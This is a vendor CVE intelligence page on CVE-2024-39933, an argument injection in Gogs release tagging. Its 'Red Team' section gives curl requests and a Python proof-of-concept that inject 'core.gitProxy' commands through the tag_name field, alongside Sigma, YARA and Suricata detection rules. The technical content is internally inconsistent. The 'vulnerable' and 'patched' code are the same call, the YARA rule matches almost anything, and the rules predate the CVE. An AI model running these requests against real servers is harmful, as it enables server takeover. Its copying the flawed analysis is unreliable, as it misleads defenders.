☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Gogs logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.7 🐛 CWE-88
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-39933

CVE-2024-39933 Supply Chain Attack in Gogs
📅 PUBLISHED: 2024-07-04 00:00 UTC 🔄 UPDATED: 2026-09-23 20:19 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.69%
👁️
0.69% probability
17.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: Global License: Open Source
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
7.7
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-39933 is a critical argument injection vulnerability in Gogs (Go Git Service) versions up to and including 0.13.0. The flaw resides in the release tagging functionality, allowing an authenticated attacker to inject arbitrary arguments into the underlying Git command executed during the tagging process. This can lead to arbitrary code execution on the server, potentially compromising the entire Gogs instance and its hosted repositories. The vulnerability has a CVSS score of 7.7 (High) and is currently unpatched. No public exploit code or Nuclei template is available at this time, but the attack vector is well-understood.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Gogs is a self-hosted Git service written in Go. Organizations using Gogs as part of their CI/CD pipeline or internal development infrastructure are at risk. The vulnerability allows an attacker with repository write access to execute arbitrary commands on the server, potentially leading to supply chain compromise by injecting malicious code into repositories or exfiltrating sensitive data (e.g., SSH keys, API tokens, database credentials). Since Gogs is often deployed in containerized environments, the impact can extend to the host system if proper isolation is not enforced.

CVSS Breakdown & Threat Level

  • CVSS Score: 7.7 (High)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (authenticated user with repository write access)
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: High
  • Integrity Impact: High
  • Availability Impact: High

The high impact across all three security objectives, combined with low attack complexity and no user interaction, makes this a critical vulnerability for any organization running an affected version of Gogs.

Deep Dive & Mechanics

The vulnerability exists in the release tagging functionality of Gogs. When a user creates a new release, Gogs constructs a Git command to tag the release. The tag name is taken from user input and is not properly sanitized before being passed to the Git command. An attacker can inject additional arguments by including special characters (e.g., -- or -c) in the tag name.

For example, a tag name like --help or -c core.gitProxy=command can be used to execute arbitrary commands. The injection occurs because Gogs uses a shell command or a function that does not properly separate arguments, allowing the attacker to break out of the intended argument structure.

The vulnerable code path is typically in the CreateRelease or CreateNewTag function, where the tag name is concatenated into a command string without proper escaping or use of argument arrays.

Vulnerable vs. Patched Code

Vulnerable Code (Gogs <= 0.13.0):

// Vulnerable: tag name is directly concatenated into command
cmd := exec.Command("git", "tag", "-a", tagName, "-m", message)
// If tagName = "--help", the command becomes: git tag -a --help -m message
// This allows argument injection

Patched Code (Hypothetical fix):

// Patched: Use argument array and validate tag name
if !isValidTagName(tagName) {
    return errors.New("invalid tag name")
}
cmd := exec.Command("git", "tag", "-a", tagName, "-m", message)
// Additionally, use exec.Command with proper argument separation

The fix should include:

  1. Input validation to ensure the tag name matches a strict pattern (e.g., alphanumeric, dots, dashes, underscores only).
  2. Use of exec.Command with separate arguments instead of shell command strings.
  3. Avoidance of any shell interpretation by using exec.Command directly.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

  • Access to a Gogs instance (version <= 0.13.0)
  • Valid user credentials with write access to a repository

Exploitation Steps:

  1. Identify Target: Find a Gogs instance and obtain valid credentials (e.g., via phishing, credential stuffing, or as a legitimate user).

  2. Create a Malicious Tag: Use the Gogs API or web interface to create a new release with a crafted tag name.

    Example using curl:

    curl -X POST "https://target.gogs.com/api/v1/repos/username/repo/releases" \
      -H "Authorization: token YOUR_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{
        "tag_name": "--help",
        "target_commitish": "main",
        "name": "Release 1.0",
        "body": "Test release"
      }'
    

    For command execution, use Git configuration injection:

    # Inject a command via core.gitProxy
    curl -X POST "https://target.gogs.com/api/v1/repos/username/repo/releases" \
      -H "Authorization: token YOUR_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{
        "tag_name": "-c core.gitProxy=id>/tmp/pwned",
        "target_commitish": "main",
        "name": "Release 1.0",
        "body": "Test release"
      }'
    
  3. Verify Execution: Check if the command was executed (e.g., by accessing /tmp/pwned or observing outbound connections).

Proof of Concept (PoC) Script:

import requests
import sys

def exploit(target, token, repo, command):
    url = f"{target}/api/v1/repos/{repo}/releases"
    headers = {
        "Authorization": f"token {token}",
        "Content-Type": "application/json"
    }
    payload = {
        "tag_name": f"-c core.gitProxy={command}",
        "target_commitish": "main",
        "name": "Exploit",
        "body": "Pwned"
    }
    response = requests.post(url, json=payload, headers=headers)
    if response.status_code == 201:
        print("[+] Release created successfully")
    else:
        print(f"[-] Failed: {response.text}")

if __name__ == "__main__":
    exploit(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4])

Blue Team (Defender)

Detection and Prevention:

  1. Monitor Git Operations: Log all Git commands executed by the Gogs process. Look for unusual arguments like --help, -c, or commands containing shell metacharacters.

  2. Input Validation: Implement strict validation on tag names at the application layer (e.g., using a reverse proxy or WAF).

  3. Network Segmentation: Isolate the Gogs server from critical systems and limit outbound connections.

  4. Least Privilege: Ensure Gogs runs with minimal necessary permissions. Use containerization with read-only root filesystems.

  5. Audit Logs: Enable detailed audit logging for all release creation events.

Indicators of Compromise (IOCs)

  • Network:

    • Outbound connections from the Gogs server to unexpected IPs/domains (e.g., for command and control)
    • Unusual HTTP requests to the Gogs API with suspicious tag_name parameters
  • File System:

    • Unexpected files in /tmp/, /var/tmp/, or other writable directories
    • New cron jobs or systemd services created by the Gogs user
  • Process:

    • Git processes with unusual arguments (e.g., git tag -a --help, git -c core.gitProxy=...)
    • Child processes spawned by the Gogs process that are not typical (e.g., bash, python, curl)
  • Logs:

    • Gogs application logs showing failed or suspicious tag creation attempts
    • System logs (e.g., /var/log/syslog) showing command execution from the Gogs user

Detection Engineering

YARA Rule

rule CVE_2024_39933_Gogs_Arg_Injection {
    meta:
        description = "Detects argument injection attempts in Gogs release tagging"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-39933"
        severity = "high"

    strings:
        $s1 = "tag_name" nocase
        $s2 = "--help" nocase
        $s3 = "-c" nocase
        $s4 = "core.gitProxy" nocase
        $s5 = "core.alternateRefsCommand" nocase

    condition:
        any of ($s1, $s2, $s3, $s4, $s5)
}

Sigma Rule

title: Gogs Argument Injection in Release Tagging
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2024-39933 by injecting arguments into Git tag commands
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-39933
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/git'
        CommandLine|contains:
            - 'tag -a --help'
            - 'tag -a -c core.gitProxy'
            - 'tag -a -c core.alternateRefsCommand'
    condition: selection
falsepositives:
    - Legitimate use of Git with unusual arguments (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-39933 Gogs Argument Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/api/v1/repos/"; http_uri;
    content:"/releases"; http_uri;
    content:"tag_name"; http_client_body;
    pcre:"/tag_name[\"']\s*:\s*[\"'](?:--help|-c\s+core\.(?:gitProxy|alternateRefsCommand))/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-39933;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade Gogs: If a patched version becomes available, upgrade immediately. Currently, no patch exists, so consider alternative measures.
  2. Disable Release Tagging: Temporarily disable the release creation feature by modifying the Gogs configuration or using a reverse proxy to block POST requests to /api/v1/repos/*/releases.
  3. Restrict Access: Limit repository write access to only trusted users. Use two-factor authentication (2FA) for all accounts.

Long-term Mitigations:

  1. Input Validation: Implement a web application firewall (WAF) rule to block tag names containing special characters (e.g., -, --, spaces, quotes).
  2. Container Hardening: Run Gogs in a container with a read-only root filesystem, no shell access, and minimal capabilities.
  3. Monitoring: Deploy the detection rules above to monitor for exploitation attempts.
  4. Alternative Solutions: Consider migrating to a more actively maintained Git service (e.g., GitLab, Gitea) if Gogs does not release a patch.

Workaround:

  • Modify the Gogs source code to validate tag names against a strict regex pattern (e.g., ^[a-zA-Z0-9._-]+$) and rebuild the binary.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-39933/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.